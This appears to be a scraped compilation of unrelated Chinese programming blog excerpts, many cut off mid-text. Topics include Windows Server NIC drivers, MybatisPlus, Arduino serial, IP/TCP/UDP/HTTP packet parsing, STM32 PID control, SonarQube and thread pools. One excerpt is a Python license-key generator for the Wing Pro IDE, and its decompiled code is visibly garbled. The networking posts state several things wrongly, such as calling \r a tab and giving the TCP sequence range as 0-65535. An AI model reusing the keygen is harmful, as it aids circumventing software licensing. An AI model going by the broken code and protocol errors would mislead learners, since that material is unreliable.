Windows Server 2022 安装Intel I219V 服务器网卡

随着Windows Server 2022发布,目前我正对公司内的电脑新系统更新。在向一台主板是华硕B150M-Plus的电脑时,网卡识别不出。这正是Intel I219V 服务器版网卡。 从Intel 官网下载了最新的26.4驱动,但是识别不了。 在下载前的筛选阶段,发现最高还是支持到Windows server 2019. 经过一番搜索和实验,确定了使用Windows Server 2022 自带的 I219-LM 或者 I218-LM,都可以使用。这里记录一下方法。 1.如果没有安装,则会显示一个黄色的感叹号,这时,右击,选择“更新驱动程序” 注意: 这里的网卡型号 是 (9) I219-LM 2.在弹出的对话框中,选择“浏览我的电脑一查找驱动程序” 3.在新对话框中,选择 “ 让我从计算机上的可用驱动程序列表中选取” 4.再一步,从厂商列表里找到 Intel,在型号列表里,选择结尾是 I218-LM、或者I219-LM 的任意驱动即可,没有差别的。 5. 然后回弹出警告,直接无视即可。 6.提示安装成功 注意: 这里的网卡型号 是 I218-LM

C# ②字符串的长度 Length

string A = "ABCD"; Console.WriteLine($"{A}的长度为{A.Length}个字符。"); 使用属性Length可以返回字符串的字符数。

MybatisPlus 只取一条记录

建议再使用Mapper的selectOne()方法时需要确保查询结果不能有多条,不然会报以下错误: 而使用IService的getOne(Wrapper queryWrapper),同样存在这样的问题; 如果希望他在获取到多条数据的时候只取第一条那应该使用 T getOne(Wrapper queryWrapper, boolean throwEx),throwEx为true时获取到多条报错,为false时只取第一条 public T getOne(Wrapper<T> queryWrapper, boolean throwEx) { return throwEx ? this.baseMapper.selectOne(queryWrapper) : SqlHelper.getObject(this.log, this.baseMapper.selectList(queryWrapper)); } 不过这样做有个弊端,就是当数据异常的时候,可能查询了多条数据(虽然最后只给你返回了一条),但这样可能会使服务器承担额外的负担,最好还是在查询的后面添加limit 1。 但这样的话每次都要在查询条件后面拼接limit 1 有点麻烦 受大佬启发,发现可以在service中写一个默认方法 public interface xxxService extends IService<xxx>{ /** * 仅有一条数据 * @param wrapper * @return */ default xxx getOnly(QueryWrapper<xxx> wrapper){ wrapper.last("limit 1"); return this.selectOne(wrapper); }; } https://blog.csdn.net/javaboyweng/article/details/114143684

arduino向unity3D工程中传递参数

问题描述 传感器获取信号,在arduino中以参数的形式表现。此时,我希望在unity中调取这个参数并利用这个参数做一些事情,因此,需要实现unity3d获取arduino中参数。 unity3的向arduino发送信号的教程见:在Visual Studio2019 中获取arduino端口的信息 从而最终实现unity3d中VS与arduino的信息双向传递。 具体过程 在unity3d的部分: 1,定义一个物体,然后将控制脚本挂在上面 2.端口信息定义见上面的参考文档 3.读取函数 //读取数据 public void ReadData() { if (serialPort_1.IsOpen) { string a=serialPort_1.ReadExisting(); print("数据为:"); print(a); Thread.Sleep(200); } else { Debug.Log("Port is not opened"); } } 以上完成在VS中的设置 arduino中的设置 void setup() { // put your setup code here, to run once: Serial.begin(9600); } int p1=3; void loop() { Serial.println(p1); delay(200); // put your main code here, to run repeatedly: }``` 注意不要使用Serial.print,那样在unity中显示会出现重复读取的错误 ## 效果 !

递归--给每一项新增属性

format(arr) { arr.forEach((el) => { if (el.children && el.children.length > 0) { el.value = el.id; el.label = el.orgName; this.format(el.children); } else { el.value = el.id; el.label = el.orgName; } }); return arr; },

HTTP/HTTPS协议详解(1)HTTP

正文 HTTP报文格式 在http协议中采用制表符(\r)+ 换行符(\n)将每个节点数据分割开,每个节点包含不同信息,需要进一步处理。具体处理为: 请求行:请求行中包括3个信息 依次为:请求方法 、url(访问路由地址)、 Http版本。 请求方法:标识表示该报文采用的是那种请求方式,在HTTP报文中的第一个字节。包含如下值 G(GET)、H(HEAD)、P(POST)、D(DELETE)、O(OPTIONS)、T(TRACE)、C(CONNECT)。若为22则为HTTPs请求。请求方法在HTTP报文中第一个字节。url:这里的url代表的是需要访问的数据在主机中的路由地址。主机 + url就得到一个数据访问地址去访问特定数据。HTTP版本:这里存储的是HTTP版本号 格式如:HTTP/1.0 报文头:报文头中包括一系列的信息包括主机信息。每个信息以键值对的形式存储,键与值之间以冒号加一个空格‘: ’分开,每个信息以制表符加换行符分割。具体参见HTTP请求头大全空行: 空行的作用是将数据头与数据体分开。HTTP协议规定报头与数据体之间必须要用空行分割,没有数据体时任需要有。数据体:数据体中包含所有需要发送给应用处理的信息,信息与信息以符号‘&’连接,信息以键值对存储,键与值间用符号‘=’连接。 以下是具体实现的代码: public class HttpPacket extends Packet{ private boolean isHttp; private boolean isHttps; private boolean isOther; private String requestMethod; private String requestUrl; private String httpVersion; private String httpHost; private String httpUrl; private String dataLien; private String[] keyLines; private Map<String,String> keys = new HashMap<>(); private Map<String,String> datas = new HashMap<>(); public HttpPacket(byte[] bytes, int... parameters) { super(bytes, parameters); parse(); } /** * 解析数据 * G : GET * H : HEAD * P : POST * D : DELETE * O : OPTIONS * T : TRACE * C : CONNECT */ private void parse(){ switch (bytes[offset]){ case 'G': case 'H': case 'P': case 'D': case 'O': case 'T': case 'C': isHttp = true; isHttps = false; parseHttp(); break; case 22: isHttp = false; isHttps = true; break; default: isOther = true; isHttp = false; isHttps = false; } } private void parseHttp(){ if(validLength - offset < 10) return; String dataString = new String(bytes,offset,validLength); keyLines = dataString.

IP/TCP/UDP报文解析(3)UDP报文

目录 前言正文UDP报文格式UDP校验和校验和的计算数据校验UDP数据报解析代码 总结 前言 本文中涉及很多的位运算,如果对位运算不太了解的请看这篇博文《Java中的位运算》。 正文 UDP报文格式 源端口:占16位 在UDP数据段第1、2字节(下标0、1)中,标识本地端口号。取值 0 - 65535目的端口:占16位 在UDP数据段第3、4字节(下标2、3)中,标识远程端口号。取值0 - 65535总长度:占16位 在UDP数据段第5、6字节(下标4、5)中,标识该报文段包括报头部分的所有数据字节的长度。取值0 - 65535校验和:占16位 在UDP数据段第7、8字节(下标6、7)中,该字段通过校验和计算得出,用于校验数据段是否被正确就收处理。数据:数据为可变长度。由于总长度位的最大取值为65535,所以理论上该值最大为65535 - 8 = 65523字节。 UDP校验和 UDP中的校验和不是必要的,因为即使UDP数据段校验不通过也没办法通知对端重发数据,这也就是为什么UDP可靠性不如TCP的原因。UDP是无连接无状态协议,因为它不像TCP协议一样会经过三次握手建立连接,两端都不知道各自的状态。发信方发出的UDP报文有没有完全送达,自己与对端都不知道。正因为UDP协议不需要三次握手建立连接,每次收到信息后无需发送确认信息,每次发送信息后无需等待对端确认,所以在效率上要高于TCP协议。总的来说,UDP协议的可靠性不如TCP协议,但效率要高于TCP。 校验和的计算 UDP校验和计算与TCP校验和计算是一样的过程,具体请参见《IP/TCP/UDP报文解析(2)TCP报文》这篇博文。 数据校验 UDP数据校验与TCP数据校验的过程是一样的,具体请参见 《IP/TCP/UDP报文解析(2)TCP报文》 这篇博文。 UDP数据报解析代码 public class UDPPacket extends Packet{ private static final String TAG = UDPPacket.class.getSimpleName(); static final int SOURCE_PORT_BIT = 0; static final int DESTINATION_PORT_BIT = 2; static final int TOTAL_LENGTH_BIT = 4; static final int CHECK_SUM_BIT = 6; private byte[] pseudoHeader; public UDPPacket(byte[] bytes , int.

IP/TCP/UDP报文解析(1)IP报文

目录 前言正文IP报文格式一览IP校验和校验和计算校验数据 片偏移的计算报文解析代码 总结 前言 关于IP报文的解析涉及到很多位运算的使用,如果不熟位运算规则的小伙伴,可以查看我的这篇博文《Java中的位运算》 正文 IP报文格式一览 一个完整的IP包通常被看做 首部 和 数据 两部分,首部中又包含 固定长度(20字节)和可变长度(最大60-20=40字节),IP报头包含以下数据: 版本号:在IP数据报中第1个字节的前4位,现在有IPv4和IPv6 两个IP协议版本,所以这里可能的值有0010(IPv4 十进制 4)和 0100(IPv6 十进制6),端与端之间只有同协议版本才能正常通信。首部长:首部长的作用是标识IP报头的长度,在IP报文中第1个字节的后4位,其最大取值为15,其单位为4字节,即首部长最大为15 * 4 = 60字节,通常IP报头默认长度为5 * 4 = 20字节。服务类型:服务类型的作用是标识IP报文的处理方式,在IP报文中第2个字节。前三位代表包的处理优先级,取值范围0-7,0为最低 7为最高。后4位是TOS(注意TOS之前还有一个位无效位),表示本数据报在传输过程中需要得到的服务,依次表示为 D(Minimum delay)最小延迟、T(Maximum throughput)最大传输率、R(Maximum reliability)最高可靠性、C(Minimum cost)最小成本。这里的服务类型只是代表用户希望得到的服务,并不一定要强制执行。总长度:总长度的作用是标识IP报文首部分+数据部分的总长度,在IP报文中第3、4字节中,其最大取值为65535,其单位为1字节,所以一个IP报最大为65535 * 1 = 65535字节。序列号:序列号的作用是标识该IP报文请求,由发起请求方随机生成且本地唯一,每次分包在上一个包基础上该值+1填入,在IP报文中第5、6字节中。标志位:标志位的作用是标识该IP报是否发生分片行为DF(Don’t fragment)和是否还有分片MF(More Fragment) ,在IP报文中第7个字节的前3位,但只有后两位是有效的,依次为0 DF MF。有三个可能的值:未发生分片010、发生分片且该包后续没有分片000、发生分片且该包后续还有分片001。片偏移: 片偏移的作用是在IP报发生分包时标识该包中的数据相对于原始数据的起始位置,在IP报文中第7个字后5位和第8个字节。最大取值8191,单位是8字节,所以片偏移的最大值为8191 * 8 = 65528字节。生存时间:生存时间的作用是标识该请求能穿过路由的最大次数,以防止路由环路。该值每经过一次网络路由后减小1,信息送达或该值为0时停止传递。在IP报文中第9个字节中。上层协议:上层协议标识IP包中数据部分是属于那种协议的封装,在数据报中第10个字节。列举几个常用的值 : 协议二进制十进制TCP000001106UDP0001000117ICMP000000011IGMP000000102OSPF0101100189 首部校验和:首部校验和用来校验IP报头是否准确。在IP数据报的第11、12个字节中,关于校验和的计算和使用等下再说。源IP地址:源IP地址标识这个IP包的初始发送地址,在IP数据报的第13、14、15、16个字节中,所以IP地址通常被写为255.255.255.255这样的格式。目的IP地址:目的IP地址标识这个IP包最终送达的地址。选项和填充:作用是附加IP包处理信息,可变长度,最大为40字节。 IP校验和 校验和计算 计算首部校验和的过程如下 将首部校验和置零如果首部的字节长度为奇数,则在计算时需要在首部末尾添加一个全为0的空字节将首部中所有字节划分成16位长度的数进行相加求和和的溢出位折叠求和。将和做非运算得到最终校验和将校验和填入首部校验和位。 具体实现请看文末的代码。 校验数据 校验数据相对简单,大体上和计算时差不多,只是校验计算的时候不需要重置校验和位,最后的结果为0时说明该IP报文正确,若不为0说明该报文错误将其丢弃。 片偏移的计算 由于数据链路层单次发送的数据单元最大为1500字节(1贞的大小 这个值貌似受源机硬件影响),所以当IP报文总长度大于这个值的时候,数据链路层会对IP包进行拆分发送,当产生分包后,每个包中的数据相对于原始IP包中的数据,就会有一个衔接位置,那么这个位置该如果计算呢? 这里举例说明,假如:一个原始IP包总长度4000,报头长20。 当发送第1个拆分包的时候,其数据起始位就是IP包起始位,所以其偏移为0,目前发送出去的数据就是1500 - 20 = 1480字节(下标0 - 1479),剩余数据2520,还有拆分包。

IP/TCP/UDP报文解析(2)TCP报文

目录 前言正文TCP报文格式TCP建立连接过程TCP数据传输过程TCP断开连接时的挥手过程TCP/UDP校验和的计算与数据校验伪首部格式计算校验和验证校验和 完整代码 总结 前言 本文中涉及很多的位运算,如果对位运算不太了解的请看这篇博文《Java中的位运算》。 正文 TCP报文格式 源端口: 占16位 在第1、2字节(下标0、1)中,标识信源机1发送该信息时所分配的端口2。目的端口:占16位 在第3、4字节(下标2、3)中,标识最终收信端主机用来处理该信息时分配的端口。序列码:占32位 在第5、6、7、8字节(下标4、5、6、7)中,标识数据报序列。确认码:占32位 在第9、10、11、12字节(下标8、9、10、11)中,标识确认数据序列。首部长:占4位 在第13字节前4位(下标12)中。标识TCP数据报的首部长度,单位是4字节,所以最大取值为15*4=60字节。第13字节后4位与第14字节的前2位组成6位全为0的预留位,暂无定义标志位:占6位 在第14字节后6位(下标13)中。标识该数据报的行为。其值依次为: URG(urgent) :紧急标志 当URG =1时,表明紧急字段有效,告诉系统此报文中有紧急数据,应尽快传送。于是发送方TCP就把紧急数据插入到本报文段数据的最前面,而在紧急数据后面的数据仍是普通数据。这时要与首部中紧急指针字段配合使用。ACK(acknowledge):授权标志 可以理解为对端对上一次请求验证通过,可以继续后续行为。所以仅当ACK = 1时确认号字段才有效,TCP规定,连接建立后所有传送的报文段都必须把ACK置1。PSH(push):推标志 当两端进行交互式的通信时,有时某一端进程希望在键入一个命令后立即就能收到对端的响应。在这种情况下,TCP就可以将PSH位置为1使用推送操作,对端收到数据报后直接进行处理,不会被加入等待队列。RST(reset):复位标志 当复位标志生效时,表明连接中出现严重错误,必须释放连接,然后再重新建立运输连接。SYN(synchronous):同步标志 该标志位只在建立连接前两次握手请求中生效。当该值为1时表示该报文是一个请求连接的报文或授权连接的报文。FIN(fin):结束标志 该标志只在断开TCP连接时生效。该值为1时标识某一端发出了断开连接的请求。 窗口大小:占16位 在第15、16字节(下标14、15)中。窗口大小的作用是数据接收方通告数据发送方自己单次能处理的数据大小,数据发送方根据这个值来确定自己单次发送数据的量,避免发送方因发送数据过快,接收方由于某些原因数据处理较慢,从而造成的丢包重发性能消耗。因其是16位,所以最大取值为65535字节。具体解释请参见《TCP报头里的那个窗口大小到底是指什么》,在此对该博主表以诚挚感谢!校验和:占16位 在第17、18字节(下标16、17)中。用于校验整个报文的准确性,包括首部和数据部分。紧急指针:占16位 在第19、20字节(下标18、19)中。紧急指针仅在紧急标志生效时才有意义,它指出本报文段中的紧急数据结束序号。该报文段的起始序号到这个序号就是该报文段中需要紧急处理的数据。该序号+1就是普通数据序号。即使窗口为0时也可发送紧急数据。选项和填充:可变长度。作用是在报头中添加特殊选项。当没有选项和填充时报头长度是20字节。一般这里会填入一个最大报文段长度MSS,MSS指每一个TCP报文段中的数据字段的最大长度。数据:可变长度。上层协议(一般指HTTP/HTTPs)封装后的报文数据。 TCP建立连接过程 TCP建立连接时会经历3次授权确认的过程,具体如下: 客户端随机生成一个数据初始序列号(seq)填入序列码字节中,作为数据存储的起始序号和该次数据段的存储起始位置。将SYN标志位置为1,发送连接申请给服务器端。服务器端收到连接申请后,随机生成一个验证码填入序列码字节中,作为客户端收到授权信息时的确认码。将客户端发来的数据序列码+1后填入确认序列码字节中,作为对客户端的连接申请的确认和该次数据段的存储起始位置,将ACK和SYN位都置为1,发送连接确认给客户端。客户端收到连接确认后,将服务器返回的确认序列码+1填入序列码字节中,作为该段的数据起始位置。将服务器返回的序列码+1后填入确认序列码字节中,作为客户端对服务器授权的确认,将ACK位置为1,发送成功连接的信息给服务器。到此两端就可以有序的收发数据了。 发送接收标志位序列码确认码clientserviceSYN = 1x–serviceclientSYN = 1 ACK = 1yx +1 = x1clientserviceACK = 1–y + 1 = y1 其中x为客户端报文段的起始序号 随机生成,y为服务端报文段的起始序号 随机生成。序号取值范围0-65535。为什么需要随机生成起始序号呢?是因为如果不是随机产生初始序列号,黑客将会以很容易的方式获取到你与其他主机之间通信的初始化序列号,并且伪造序列号进行攻击,这已经成为一种很常见的网络攻击手段。 TCP数据传输过程 TCP建立连接后传输数据过程如下 成功连接后的第1个报文段,客户端将数据初始序号+3填入序列码字节,作为该段报文的存储位置。将初始序号+2填入确认码字节,作为对之前数据段中数据的确认,将PSH和ACK标志位置为1,发送一个推消息告诉服务器自己已经准备就绪,可以开始发送数据了。服务端收到客户端准备就绪的报文后,将收到报文中的序列码+1填入数据序列号中,作为该段报文的起始序号。将这个起始序号+发送数据的长度填入序列码字节中,作为该段报文的结束序号。将ACK标志位置为1,发送数据给客户端。客户端收到数据后,将数据报文中的确认序号+1填入序列码字节,作为客户端报文段的存储位置和数据起始位置。将数据报文中的序列码填入确认序列字节,作为对所有该次数据报文的确认,将ACK标志位置为1,发送给服务器。 重复以上步骤直到数据传递结束,某一段发起断开连接的请求。 发送接收标志位序列码确认码clientservicePSH = 1 ACK = 1x+3 = x3x+3 = x3serviceclientACK = 1x3 + 1 = x4x4 + data length = x5clientserviceACK = 1x5+1 = x6x5serviceclientACK = 1x6+1 = x7x7+ data length = x8––––––––––clientserviceACK = 1xn+1xnserviceserviceACK = 1xn+2xn+1 其中x为客户端随机的数据初始序号(x+3是因为前面3个序号依次进行了 SYN-SENT(同步已发送)状态、服务器ESTABLISHED(已建立连接)状态,客户端ESTABLISHED(已建立连接)状态。为什么+3后没有+1是因为该报文段只是起到一个通知作用,没有进入到数据序列中).

Edge 浏览器的收藏夹文档位置——最新版windows10和edge

由于windows server 2022 发布,将原有的工作PC升级了一下硬盘,安装了系统,为了保留原有的收藏夹的内容,找了好久 收藏夹文档的位置。 结果度娘提供的结果都是比较老的,系统里面根本没有 “Microsoft.MicrosoftEdge_8wekyb3d8bbwe”这个文件夹。 真实的文件地址: C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks.bak 把这两个文档复制到新电脑的对应路径,重启edge即可!!!

vscode常用插件-Auto Close Tag

1. 插件作者: Jun Han 2. 作用: 自动补全结束标签 // 输入 <MyTag> // 就可以自动补全 <MyTag></MyTag> 3. 配置: 不需要配置, 直接下载就可用

stm32f103c8t6+编码电机利用PID算法组成的绝对匀速小车

我的风格就是先上代码! main.c: #include "stm32f10x.h" #include "usart.h" #include "delay.h" #include "Codingmotor.h" #include "pwm.h" #include "tim2timing.h" / //此程序用到了三个计时器,TIM2用于计数得到时间算速度,TIM3输出pwm波控制电机,TIM4编码器模式记录电机编码器脉冲个数 float target_speed=0.12;//记录目标的速度,单位cm/ms float actual_speed;//记录实际速度,单位cm/ms float new_speed_difference;//记录当前速度差值 float before_speed_difference;//记录之前速度差值 float before2_speed_difference;//记录之前之前速度差值 float Cumulative_speed_difference;//记录累计速度 float add_speed;//记录添加速度 float kp=100; float ki=90; float kd=100; int out=0;//占空比 int main(void) { delay_init(); uart_init(9600);//串口初始化,可以用来反映电机实时速度 TIM4_Mode_Config();//TIM4编码器模式初始化配置 TIM2_timingInit();//TIM2定时初始化 My_PWMTIM3_Init(1999,71);//TIM3输出pwm波初始化 TIM_SetCompare1(TIM3,0);//设置初始比较值为0 NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2);//分配中断优先级 while(1) { actual_speed=(now_num-32767)*0.00967;//计算实际速度,用定时器编码器模式记录小车编码器在5ms内输出脉冲的个数,然后转换为路程,然后算速度 new_speed_difference=target_speed-actual_speed;//当前的速度误差 add_speed=kp*(new_speed_difference-before_speed_difference)+ki*new_speed_difference+kd*(new_speed_difference+before2_speed_difference-2*before_speed_difference);//增量式PID算法,小车更适合增量式 out+=add_speed;//计算实时反馈给pwm波的占空比 if(out>1900)//防止溢出使用 out=1900; TIM_SetCompare1(TIM3,out);//调节占空比 before2_speed_difference=before_speed_difference;//之前之前的误差等于之前的误差 before_speed_difference=new_speed_difference; //现在的误差变成之前的误差,新一个反馈周期开始 } } // ///name:Vincent njw QQ:1504012979 glut TIM2计数: #include "

【计算机图形学 】扫描线多边形填充算法 | OpenGL+鼠标交互

文章目录 其他计算机图形学实验前言思路借鉴步骤1.点的结构体2. AET 活性边表、NET新边表 的结构体3. 扫描线算法实现4. 改变鼠标响应函数 完整代码总结 其他计算机图形学实验 传送门 前言 实现多边形扫描线填充算法,并和鼠标进行交互。 具体原理略过,会贴上完整代码,可直接运行。 环境: vs2019,OpenGL的库(可以搜索如何用vs使用OpenGL的库,可以使用vs自带的插件或者其他方法,很方便) 要点: 1.NET和AET的创建,改动 2.改变鼠标点击和鼠标拖拽的响应事件。 最终效果: 用鼠标随意画顶点,然后展示填充过程 对应控制台会输出顶点坐标和个数 思路借鉴 文章1 文章2 步骤 1.点的结构体 struct point { float x, y; point(){} point(int xx, int yy): x(xx), y(yy) {} }; vector<point> vertice; //顶点 2. AET 活性边表、NET新边表 的结构体 typedef struct XET { float x; float dx; // 从当前扫描线到下一条扫描线间x的增量,即斜率的倒数 float ymax; //该边所交的最高扫描线的坐标值ymax XET* next; }AET, NET; //AET 活性边表; NET新边表 3. 扫描线算法实现 void PolyScan() { /*得到最高点的y坐标*/ int Max_Y = 0; for (int i = 0; i < vertice.

AndroidStudio SonarLint和SonarQube的使用

环境:搭建 windows 本地环境 简介 SonarQube是一种自动代码审查工具,用于检测代码中的错误、漏洞和代码Bug。它可以与您现有的工作流程集成,以支持跨项目分支和拉取请求的持续代码检查。 环境要求 运行 SonarQube 的唯一先决条件是在你的机器上安装 Java 11(Oracle JRE 11 或 OpenJDK 11)且配置了环境变量。如果未安装Java 11 ,SonarQube(Version: 9.1)服务启动失败; 下载SonarQube Download | SonarQube 下载好是一个zip压缩文件,直接解压到自己想要的目录既可以; 启动SonarQube服务 找到 安装目录\bin\windows-x86-64,点击StartSonar.bat既可启动SonarQube服务; 浏览器中输入 http://localhost:9000 或http://127.0.0.1:9000 即可进入可视化的SonarQube服务界面;初始账号密码都是admin; 在网页端SonarQube创建项目 1,点击Manually,手动创建项目 2,填写项目名称和密钥,密钥可以使用项目名称或者自定义都可以 3,点击Set Up进入,再点击Locally选项 4,输入要生Token的内容,例如输入:Test,点击Generate生成Token,点击继续; 5,这是最后一步,点击Gradle 注意:以上设置要记住Project display name(项目名称)、Project key(密钥)、生成的Token,后面AndroidStudio关联SonarQube服务的时候要用; 踩坑之路 AndroidStudio连接到SonarQube 前言 由于启动SonarQube需要JDK11,所以把Java的环境变量改成JDK11(之前是JDK 8),改了之后如果AndroidStudio是老的版本比如4.1.1之前的版本,可能导致Android Studio启动不了,但是AndroidStudio在改之前已经打开了不影响继续使用;如果是目前最新的AndroidStudio 2020.3.1版本不影响,AndroidStudio 2020.3.1安装时自带jre就是jre11;踩了很多坑才总结者段话; 1,AndroidStudio安装SonarLint插件 具体步骤及使用参考:AndroidStudio SonarLint安装及使用_ezconn的博客-CSDN博客 2,项目下的build.gradle中添加插件: classpath 'org.sonarsource.scanner.gradle:sonarqube-gradle-plugin:3.3' 3,module 级别的build.gradle(:app)中添加 apply plugin: 'org.sonarqube' 和 sonarqube { properties { //Sonar服务器地址 property "sonar.host.url", "

通过vba代码将excel转换为PDF

需要传两个参数,excel路径和pdf路径。 代码可以做成wsf文件,通过C语言或者java调用 <job id="etop"> <reference guid="{00020813-0000-0000-C000-000000000046}" comment="MSExcel 2000 tag library, under HKEY_CLASSES_ROOT\TypeLib\"/> <script language="VBScript"> Option Explicit Dim excel_file Dim pdf_file 'If WScript.Arguments.Count < 2 Then ' MsgBox "Usage: t1 <excel_file> <pdf_file> " ' WScript.Quit 'End If excel_file = WScript.Arguments(0) pdf_file= WScript.Arguments(1) Dim ExcelApp Set ExcelApp = CreateObject("Excel.Application") With ExcelApp .Visible = False '设置excel为可见 'With .Options ' .CheckSpellingAsYouType = False '不检查拼写 ' .CheckGrammarAsYouType = False '不检查语法 'End With '打开模板文件 .Workbooks.Open(excel_file) .

计算最新版本Wing Pro 8.0.4.1 Mac版 注册码

import string import random import hashlib BASE16 = '0123456789ABCDEF' BASE30 = '123456789ABCDEFGHJKLMNPQRTVWXY' def randomstring(size, chars = (20, string.ascii_uppercase + string.digits)): return None((lambda .0 = None: pass)(range(size))) def BaseConvert(number, fromdigits, todigits, ignore_negative = (True,)): if ignore_negative and str(number)[0] == '-': number = str(number)[1:] neg = 1 else: neg = 0 x = 0 res = '' if x > 0: digit = x % len(todigits) res = todigits[int(digit)] + res x //= len(todigits) continue if neg: res = '-' + res return res def AddHyphens(code): return code[:5] + '-' + code[5:10] + '-' + code[10:15] + '-' + code[15:] def SHAToBase30(digest): tdigest = ''.

SpringBoot使用线程池之ThreadPoolTaskExecutor和ThreadPoolExecutor

文章目录 前言预热:ThreadPoolExecutor构造器四种拒绝策略ThreadPoolExecutor.AbortPolicyThreadPoolExecutor.CallerRunsPolicyThreadPoolExecutor.DiscardPolicyThreadPoolExecutor.DiscardOldestPolicy 工作流程 正题:ThreadPoolTaskExecutor继承关系成员变/常量初始化方法 高潮:SpringBoot中使用ThreadPoolTaskExecutor创建SpringBoot项目文件列表配置属性文件配置类测试 结语:个人骚话(可看可不看鸭) 前言 一般的,我们提及线程池,最先想到的自然是java中的Executors,它作为一个线程池的工具类,提供给我们几种常见的线程池。稍微深入的童鞋应该也知道,它的底层实现,是使用了java中的ThreadPoolExecutor,而且一般在面试的时候,面试官问到的也会是这个ThreadPoolExecutor。 我的这篇文章说的是在SpringBoot中使用线程池,自然也和它有关(底层代码实现也是它)。因此先来讲讲ThreadPoolExecutor的基本特点吧! 预热:ThreadPoolExecutor 首先我们看看它的继承关系: 构造器 这里是它的参数最多的一个构造器: public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) 几个参数的含义分别是 corePoolSize:要保留在池中的线​​程数,即使它们处于空闲状态,除非设置了allowCoreThreadTimeOut;maximumPoolSize:池中允许的最大线程数;keepAliveTime:当线程数大于核心数时,这是多余空闲线程在终止前等待新任务的最长时间;unit:keepAliveTime参数的时间单位;workQueue:用于在执行任务之前保存任务的队列。 这个队列将只保存execute方法提交的Runnable任务;threadFactory:执行程序创建新线程时使用的工厂;handler:执行被阻塞时使用的处理程序,因为达到了线程边界和队列容量; 其中,ThreadFactory 的默认实现是:Executors.defaultThreadFactory()。 RejectedExecutionHandler的默认实现是AbortPolicy,内部使用的是抛出异常的方式。当然,在企业中,为了不丢失任务,CallerRunsPolicy用的也是很多的。 CallerRunsPolicy的功能是:被拒绝任务的处理程序,它直接在execute方法的调用线程中运行被拒绝的任务,除非执行程序已关闭,在这种情况下任务将被丢弃。 四种拒绝策略 ThreadPoolExecutor.AbortPolicy 处理程序在拒绝时抛出运行时RejectedExecutionException 。 ThreadPoolExecutor.CallerRunsPolicy 调用execute自身的线程运行任务。 这提供了一个简单的反馈控制机制,可以减慢提交新任务的速度。 ThreadPoolExecutor.DiscardPolicy 无法执行的任务被简单地丢弃。 ThreadPoolExecutor.DiscardOldestPolicy 如果执行器没有关闭,工作队列头部的任务会被丢弃,然后重试执行(可能会再次失败,导致重复执行)。 工作流程 当一个新的任务提交给线程池时,线程池的处理步骤: 首先判断核心线程数是否已满,如果没满,则调用一个线程处理Task任务,如果已满,则执行步骤(2)。 这时会判断阻塞队列是否已满,如果阻塞队列没满,就将Task任务加入到阻塞队列中等待执行,如果阻塞队列已满,则执行步骤(3)。 判断是否大于最大线程数,如果小于最大线程数,则创建线程执行Task任务,如果大于最大线程数,则执行步骤(4)。 这时会使用淘汰策略来处理无法执行的Task任务。 正题:ThreadPoolTaskExecutor 那现在进入正题,ThreadPoolTaskExecutor 这个类是Spring-Context支持的一个,专门用于Spring环境的线程池。其底层是在ThreadPoolExecutor的基础上包装一层,使得与Spring的整合更加方便。 继承关系 这是根据Idea生成的一个继承关系: 成员变/常量 内部的成员变量有: 可以看到,确实依赖的是ThreadPoolExecutor。 初始化方法 其中有一个初始化用的方法: public void initialize() { if (logger.isDebugEnabled()) { logger.

百度网盘提速正规办法 无需破解!!!!!

超简单百度网盘提速方法——无需破解 很多萌新日常使用电脑,一定常用“百度网盘”这款软件,相信你一定被它几十一百kb的下载网速折磨到炸: (提速前,抓狂ing) 而今天为大家介绍一个官方、简单且高效的提速方法。不需下载、破解等繁杂操作,只需点几个按钮,效果如下: (提速后,便秘结束) 下面我们具体聊聊怎么做: 具体做法 一、下载:百度网盘去官网下载即可: 二、已安装(新下载的用户可跳过本步): 已安装百度网盘的老用户,需要将百度网盘更新至最新版本: 1.打开百度网盘: 2.点击界面右上角的“设置”按钮 3.点击“版本升级”: 4.升级到最新版本,如图即可: 三、提速步骤: 1.同样是打开百度网盘,点击右上角的设置按钮: 2.选择“设置”: 3.在打开的新菜单中找到“传输”: 4.找到“下载提速”,点击“去开启”: 5.先勾选“协议”,再点击“开启下载提速“: 出现该界面时就说明设置好了: 这时再回来看看下载速度: 如果速度没有变化、也没有“下载提速”字样,说明你卡bug了。重启软件或重启电脑基本就能解决。至此,百度网盘提速方法教学完毕,很简单吧~ 可以明显看到,未提速之前是几十K 现在至少是M为单位了!!

项目经验学习——在React的return里面使用switch-case语句

今天在写代码的时候碰到一个渲染的问题,就是返回的是个数值型(int),我要用这个值去判断不同的结果。一开始想到 if-else,但是想到没有 switch-case 优雅,所以准备用 switch-case。 情况一: 但是如果直接在return里面写 switch-case ,可能会发生报错 情况二: 如果用箭头函数 ()=>{} 包裹,这样并不会报错,但是会导致不渲染,因为外面被包了一层 所以按照常理,直接在return里面写 switch-case 并不是一个明智的选择,即使没有报错,写成功了,也不看起来很乱,不简洁。 情况三: 所以可以用一个函数来代替,在这个函数里面写 switch-case 这样return里面就少了很多判断的代码,看起来也很美观,我们只用在这个函数里面进行 switch-case 判断就行。

C# SerialPort 串行端口类 学习笔记

SerialPort 中的属性 1 :PortName 通讯端口名称 2:BaudRate 波特率 3:DataBits 数据位 4:StopBits 停止位 5:ReadTimeout 超时时间 6:IsOpen() SerialPort对象是否打开 SerialPort 中使用到的(方法)函数 Open() 打开串行端口链接 Close() 关闭端口链接 发送数据: 1 / Write 该函数有三个重载 Write(string text) 向串行端口发送字符串 Write(byte[] buffer,int offset,int count) 使用缓冲区的数据,将字节写入到串行端口 Write(char[] chr,,int offset,int count) 将指定数量的字符写入到串行端口 接收数据: 1 / Read 函数 Read(byte[] buffer,int offset,int count) 读出缓冲区字节,写入到字节数组中 2 / 写入串行端口数据还有(WriteLine(string text),将指定字符串写入缓冲区) 3 / 读取串行端口数据还有(ReadByte(),读取一个字节)(ReadChar(),读取一个字符) (ReadTo(string Value),读到指定字符串)(ReadLine(),一直读到输入缓冲区中的SerialPort.NewLine值) SerialPort 中的事件 1:DataReceived 理解为接收串行端口数据的监听事件,当端口接收到数据触发该事件 在该事件中 用Read() 读取传入数据 代码示例: public class PortControlHelp { /// <summary> /// 串口对象 /// </summary> private SerialPort sp; /// <summary> ///收发串口数据委托 /// </summary> /// <param name="

js 判断数组中是否有重复值两种方法

